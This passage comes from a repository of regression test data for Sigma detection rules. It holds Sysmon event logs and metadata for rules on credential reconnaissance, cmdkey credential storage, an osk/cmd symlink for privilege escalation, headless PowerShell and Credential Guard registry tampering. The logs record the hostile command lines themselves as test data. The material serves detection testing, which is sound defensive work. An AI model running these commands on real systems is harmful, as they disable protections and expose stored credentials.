\"MD5=352B525E9C26CB92693899528FE007C2,SHA256=1F1D918EC49E0B7C59B704FF412E1A6E224DA81C08CDA657E1CB482ABAAC146C,IMPHASH=94F3EFC2DF40ECD7229B904540DD83CF\",\n \"ParentProcessGuid\": \"0197231E-BBFF-692F-8200-000000000900\",\n \"ParentProcessId\": 5200,\n \"ParentImage\": \"C:\\\\Windows\\\\explorer.exe\",\n \"ParentCommandLine\": \"C:\\\\WINDOWS\\\\Explorer.EXE\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_cmd_launched_with_hidden_start_flag/info.yml",
"content": "id: d813db34-f7f0-4713-a419-b491701aa1d1\ndescription: N/A\ndate: 2025-12-04\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 5a6b7c8d-9e0f-1a2b-3c4d-5e6f7a8b9c0d\n title: Cmd Launched with Hidden Start Flags to Suspicious Targets\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_creation/proc_creation_win_cmd_launched_with_hidden_start_flag/5a6b7c8d-9e0f-1a2b-3c4d-5e6f7a8b9c0d.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_cmd_mklink_osk_cmd/e9b61244-893f-427c-b287-3e708f321c6b.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T13:15:18.885132Z\"\n }\n },\n \"EventRecordID\": 8471746,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 13:15:18.879\",\n \"ProcessGuid\": \"5AA13A44-CD66-68FC-F12F-000000004002\",\n \"ProcessId\": 8620,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"FileVersion\": \"10.0.20348.3932 (WinBuild.160101.0800)\",\n \"Description\": \"Windows Command Processor\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"Cmd.Exe\",\n \"CommandLine\": \"cmd /c \\\"mklink C:\\\\Windows\\\\System32\\\\osk.exe C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=BC2820B5EE7B43C172005B66546F12316DE8C081,MD5=8903A3381FBB033A45F5C2C50C175C54,SHA256=F7C237A49B96FD77C047910E13F24AAC4678A0F94BABDB06643DBA63F38D48E5,IMPHASH=D60B77062898DC6BFAE7FE11A0F8806C\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_cmd_mklink_osk_cmd/info.yml",
"content": "id: 20e20ac5-43f2-40a3-811c-53466d1be222\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: e9b61244-893f-427c-b287-3e708f321c6b\n title: Potential Privilege Escalation Using Symlink Between Osk and Cmd\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_cmd_mklink_osk_cmd/e9b61244-893f-427c-b287-3e708f321c6b.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_cmd_rmdir_execution/41ca393d-538c-408a-ac27-cf1e038be80c.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T13:16:49.968129Z\"\n }\n },\n \"EventRecordID\": 8498306,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 13:16:49.961\",\n \"ProcessGuid\": \"5AA13A44-CDC1-68FC-F82F-000000004002\",\n \"ProcessId\": 608,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"FileVersion\": \"10.0.20348.3932 (WinBuild.160101.0800)\",\n \"Description\": \"Windows Command Processor\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"Cmd.Exe\",\n \"CommandLine\": \"cmd /c \\\"rmdir /s /q malware_folder\\\"\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=BC2820B5EE7B43C172005B66546F12316DE8C081,MD5=8903A3381FBB033A45F5C2C50C175C54,SHA256=F7C237A49B96FD77C047910E13F24AAC4678A0F94BABDB06643DBA63F38D48E5,IMPHASH=D60B77062898DC6BFAE7FE11A0F8806C\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_cmd_rmdir_execution/info.yml",
"content": "id: 20a05730-38e8-4889-ab29-0723f185deb0\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 41ca393d-538c-408a-ac27-cf1e038be80c\n title: Directory Removal Via Rmdir\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_cmd_rmdir_execution/41ca393d-538c-408a-ac27-cf1e038be80c.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_cmdkey_adding_generic_creds/b1ec66c6-f4d1-4b5c-96dd-af28ccae7727.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T13:20:36.737647Z\"\n }\n },\n \"EventRecordID\": 8565164,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 13:20:36.729\",\n \"ProcessGuid\": \"5AA13A44-CEA4-68FC-1330-000000004002\",\n \"ProcessId\": 4944,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\cmdkey.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Credential Manager Command Line Utility\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"cmdkey.exe\",\n \"CommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmdkey.exe\\\" /generic:TERMSRV/AR-WIN-DC /user:ATTACKRANGE\\\\Administrator /pass:1password2!\",\n \"CurrentDirectory\": \"C:\\\\tools\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=138CCC1346F17921DC1DF71C88F472ACCC24BC5F,MD5=8B20EBCF5A2C5410B43765B5CEA17E5B,SHA256=F71C08CB7630990EE46338937897C0A83C96DFB8F37DB70322CE7417C01157AA,IMPHASH=03AD7A1AF78BF7A500FB199CABE4C34A\",\n \"ParentProcessGuid\": \"5AA13A44-0BE6-68FC-A61D-000000004002\",\n \"ParentProcessId\": 10004,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\n \"ParentCommandLine\": \"powershell -noprofile\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_cmdkey_adding_generic_creds/info.yml",
"content": "id: 56a1d988-b883-41dc-ba91-6077c43189df\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: b1ec66c6-f4d1-4b5c-96dd-af28ccae7727\n title: New Generic Credentials Added Via Cmdkey.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_cmdkey_adding_generic_creds/b1ec66c6-f4d1-4b5c-96dd-af28ccae7727.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_cmdkey_recon/07f8bdc2-c9b3-472a-9817-5a670b872f53.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T13:21:33.116889Z\"\n }\n },\n \"EventRecordID\": 8581967,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 13:21:33.111\",\n \"ProcessGuid\": \"5AA13A44-CEDD-68FC-1B30-000000004002\",\n \"ProcessId\": 7876,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\cmdkey.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Credential Manager Command Line Utility\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"cmdkey.exe\",\n \"CommandLine\": \"cmdkey /list\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=138CCC1346F17921DC1DF71C88F472ACCC24BC5F,MD5=8B20EBCF5A2C5410B43765B5CEA17E5B,SHA256=F71C08CB7630990EE46338937897C0A83C96DFB8F37DB70322CE7417C01157AA,IMPHASH=03AD7A1AF78BF7A500FB199CABE4C34A\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_cmdkey_recon/info.yml",
"content": "id: aa97fab6-a83e-4e4f-ad0b-f0cc2a43c24e\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 07f8bdc2-c9b3-472a-9817-5a670b872f53\n title: Potential Reconnaissance For Cached Credentials Via Cmdkey.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_cmdkey_recon/07f8bdc2-c9b3-472a-9817-5a670b872f53.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_conhost_headless_powershell/056c7317-9a09-4bd4-9067-d051312752ea.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T17:38:32.006926Z\"\n }\n },\n \"EventRecordID\": 12090706,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 17:38:32.006\",\n \"ProcessGuid\": \"5AA13A44-0B18-68FD-6336-000000004002\",\n \"ProcessId\": 7232,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\conhost.exe\",\n \"FileVersion\": \"10.0.20348.4294 (WinBuild.160101.0800)\",\n \"Description\": \"Console Window Host\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"CONHOST.EXE\",\n \"CommandLine\": \"conhost --headless powershell calc\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=061B747FBA99B050D8874167AAD6D1D790F8A3A8,MD5=7E13A7EA7BD3601760E3838D99E31710,SHA256=D7714ECAE976F14B3AFA409FF5A3616E8D6D0CCE8269E611D7835A7C12235D6B,IMPHASH=AFF4D1EA89D0D66F7D04180143E61D12\",\n \"ParentProcessGuid\": \"5AA13A44-08B2-68FD-2136-000000004002\",\n \"ParentProcessId\": 3204,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_conhost_headless_powershell/info.yml",
"content": "id: 6e70bb8b-561e-4af4-bad6-f582c656d047\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 056c7317-9a09-4bd4-9067-d051312752ea\n title: Powershell Executed From Headless ConHost Process\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_conhost_headless_powershell/056c7317-9a09-4bd4-9067-d051312752ea.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_credential_guard_registry_tampering/c17d47b7-dcd6-4109-87eb-d1817bd4cbc9.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-26T06:45:49.034405Z\"\n }\n },\n \"EventRecordID\": 23573,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3484,\n \"ThreadID\": 3424\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-26 06:45:49.010\",\n \"ProcessGuid\": \"0197231E-2F1D-694E-F304-000000000A00\",\n \"ProcessId\": 12232,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\n \"FileVersion\": \"10.0.26100.1 (WinBuild.160101.0800)\",\n \"Description\": \"Windows PowerShell\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"PowerShell.EXE\",\n \"CommandLine\": \"\\\"C:\\\\WINDOWS\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\" -c \\\"Set-ItemProperty -Path \\\"HKLM:Software\\\\Policies\\\\Microsoft\\\\Windows\\\\DeviceGuard\\\" -Name \\\"EnableVirtualizationBasedSecurity\\\" -Value 0\\\"\",\n \"CurrentDirectory\": \"C:\\\\Windows\\\\System32\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-DDAE-694E-10B6-120000000000\",\n \"LogonId\": \"0x12b610\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"MD5=1736263E02468939F808C0528E8DBB7E,SHA256=1F9FFC2227F8DEA8B771D543C464CF8166C22A39420A5322B5892A640C4B34B6,IMPHASH=68A9FF9C8D0D4655E46E1A7A190A41D2\",\n \"ParentProcessGuid\": \"00000000-0000-0000-0000-000000000000\",\n \"ParentProcessId\": 10996,\n \"ParentImage\": \"-\",\n \"ParentCommandLine\": \"-\",\n \"ParentUser\": \"-\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_credential_guard_registry_tampering/info.yml",
"content": "id: f96a3ce2-ae73-4171-8877-71ccf1da7ce5\ndescription: N/A\ndate: 2025-12-26\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: c17d47b7-dcd6-4109-87eb-d1817bd4cbc9\n title: Windows Credential Guard Registry Tampering Via CommandLine\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_credential_guard_registry_tampering/c17d47b7-dcd6-4109-87eb-d1817bd4cbc9.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_curl_cookie_hijacking/5a6e1e16-07de-48d8-8aae-faa766c05e88.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-11T06:22:12.568940Z\"\n }\n },\n \"EventRecordID\": 21497,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3208,\n \"ThreadID\": 1724\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-11 06:22:12.498\",\n \"ProcessGuid\": \"0197231E-6314-693A-D112-000000000800\",\n \"ProcessId\": 11000,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\curl.exe\",\n \"FileVersion\": \"8.10.1\",\n \"Description\": \"The curl executable\",\n \"Product\": \"The curl executable\",\n \"Company\": \"curl, https://curl.se/\",\n \"OriginalFileName\": \"curl.exe\",\n \"CommandLine\": \"curl.exe --cookie-jar cookie \\\"http://example.com\\\"\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\xodih\\\\Downloads\\\\Sysmon\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-AB9F-67AA-4C14-030000000000\",\n \"LogonId\": \"0x3144c\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"MD5=DBB2D090D2098B2B995FA067FDEF839F,SHA256=8955D2A45404A59C2E3772F3C76AEEAE48AEDF100BE328C003D7A4DF5342B491,IMPHASH=213443B550A6683661EB0CF00CF04681\",\n \"ParentProcessGuid\": \"0197231E-BDEA-6937-AB0C-000000000800\",\n \"ParentProcessId\": 3476,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\WINDOWS\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_curl_cookie_hijacking/info.yml",
"content": "id: d7f159c3-db76-4e39-b677-c0958f5f82b8\ndescription: N/A\ndate: 2025-12-11\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 5a6e1e16-07de-48d8-8aae-faa766c05e88\n title: Potential Cookies Session Hijacking\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_curl_cookie_hijacking/5a6e1e16-07de-48d8-8aae-faa766c05e88.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_curl_custom_user_agent/85de1f22-d189-44e4-8239-dc276b45379b.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-11T06:17:19.772545Z\"\n }\n },\n \"EventRecordID\": 21475,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3208,\n \"ThreadID\": 1724\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-11 06:17:19.636\",\n \"ProcessGuid\": \"0197231E-61EF-693A-C812-000000000800\",\n \"ProcessId\": 6400,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\curl.exe\",\n \"FileVersion\": \"8.10.1\",\n \"Description\": \"The curl executable\",\n \"Product\": \"The curl executable\",\n \"Company\": \"curl, https://curl.se/\",\n \"OriginalFileName\": \"curl.exe\",\n \"CommandLine\": \"curl.exe -H \\\"User-Agent: EvilAgent\\\" http://example.com\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\xodih\\\\Downloads\\\\Sysmon\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-AB9F-67AA-4C14-030000000000\",\n \"LogonId\": \"0x3144c\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"MD5=DBB2D090D2098B2B995FA067FDEF839F,SHA256=8955D2A45404A59C2E3772F3C76AEEAE48AEDF100BE328C003D7A4DF5342B491,IMPHASH=213443B550A6683661EB0CF00CF04681\",\n \"ParentProcessGuid\": \"0197231E-BDEA-6937-AB0C-000000000800\",\n \"ParentProcessId\": 3476,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\WINDOWS\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_curl_custom_user_agent/info.yml",
"content": "id: 6428e458-fe2e-4936-accb-aebd0bcc8e35\ndescription: N/A\ndate: 2025-12-11\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 85de1f22-d189-44e4-8239-dc276b45379b\n title: Curl Web Request With Potential Custom User-Agent\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_curl_custom_user_agent/85de1f22-d189-44e4-8239-dc276b45379b.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_curl_download_direct_ip_exec/9cc85849-3b02-4cb5-b371-3a1ff54f2218.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-11T07:02:39.732592Z\"\n }\n },\n \"EventRecordID\": 21767,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3208,\n \"ThreadID\": 1724\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": 